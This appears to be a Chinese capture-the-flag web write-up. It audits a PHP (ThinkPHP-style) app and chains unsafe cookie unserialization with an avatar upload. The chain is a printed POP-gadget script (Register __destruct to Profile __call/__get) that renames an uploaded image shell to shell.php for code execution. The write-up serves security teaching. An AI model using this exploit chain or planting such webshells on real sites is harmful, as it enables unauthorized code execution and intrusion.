摘要
代码审计、文件上传、反序列化、文件泄露
首先是注册与登录,登陆后,每个账户可以上传一张头像。
存在upload文件夹,可以看到,头像文件被重命名且拼接解析为.png
文件泄露
鉴于目前的情况……比较困难,对字典、线程、间隔时间的设置有较高的要求……
尝试好多搭配,成功两次,挺玄妙的……
代码审计
mvc
抓包测试时,cookie 中有一个 user。base64后的序列化数据
这个序列化是用来检查登录状态的:
index.php:
1 2 3 4 5 6 7 8 9 10 11 12
| public function login_check(){ $profile=cookie('user'); if(!empty($profile)){ $this->profile=unserialize(base64_decode($profile)); $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find(); if(array_diff($this->profile_db,$this->profile)==null){ return 1; }else{ return 0; } } }
|
通过这个反序列化点构造攻击
文件上传
再来看看个人信息的头像上传:
profile.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public function upload_img(){ if($this->checker){ if(!$this->checker->login_check()){ $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index"; $this->redirect($curr_url,302); exit(); } }
if(!empty($_FILES)){ $this->filename_tmp=$_FILES['upload_file']['tmp_name']; $this->filename=md5($_FILES['upload_file']['name']).".png"; $this->ext_check(); } if($this->ext) { if(getimagesize($this->filename_tmp)) { @copy($this->filename_tmp, $this->filename); @unlink($this->filename_tmp); $this->img="../upload/$this->upload_menu/$this->filename"; $this->update_img(); }else{ $this->error('Forbidden type!', url('../index')); } }else{ $this->error('Unknow file type!', url('../index')); } }
|
由于参数可控,可以通过控制参数绕过文件名拼接,借助copy
将我们绕过上传的图片shell更改为php解析
构建pop链需要入口
反序列化
web应用中的魔法方法:
只有destruct可用
1 2 3 4 5 6
| public function __destruct() { if(!$this->registed){ $this->checker->index(); } }
|
调用index方法,可以call
1 2 3 4 5 6
| public function __call($name, $arguments) { if($this->{$name}){ $this->{$this->{$name}}($arguments); } }
|
动态调用函数,如果可以控制name
,就可以调用文件上传
上面就有一个符合条件的get
1 2 3 4
| public function __get($name) { return $this->except[$name]; }
|
所有可控
pop:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php
namespace app\web\controller {
class Profile { public $checker; public $filename_tmp; public $filename; public $upload_menu; public $ext; public $img; public $except;
public function __construct() { $this->except['index'] = 'upload_img'; $this->ext = 1; $this->filename_tmp = '../public/upload/b78934111bc6a120a7957cbc2e531338/6e6a7627c6f6e9e3a95e30d1de17d47c.png'; $this->filename = '../public/upload/b78934111bc6a120a7957cbc2e531338/shell.php'; $this->checker = 0;
} }
class Register { public $checker; public $registed; public function __construct() { $this->checker = new Profile(); } }
$a =new Register(); echo base64_encode(serialize($a)); }
|
登录时将序列化数据写入cookie
连接后在根目录找到flag
参考文章:
参考链接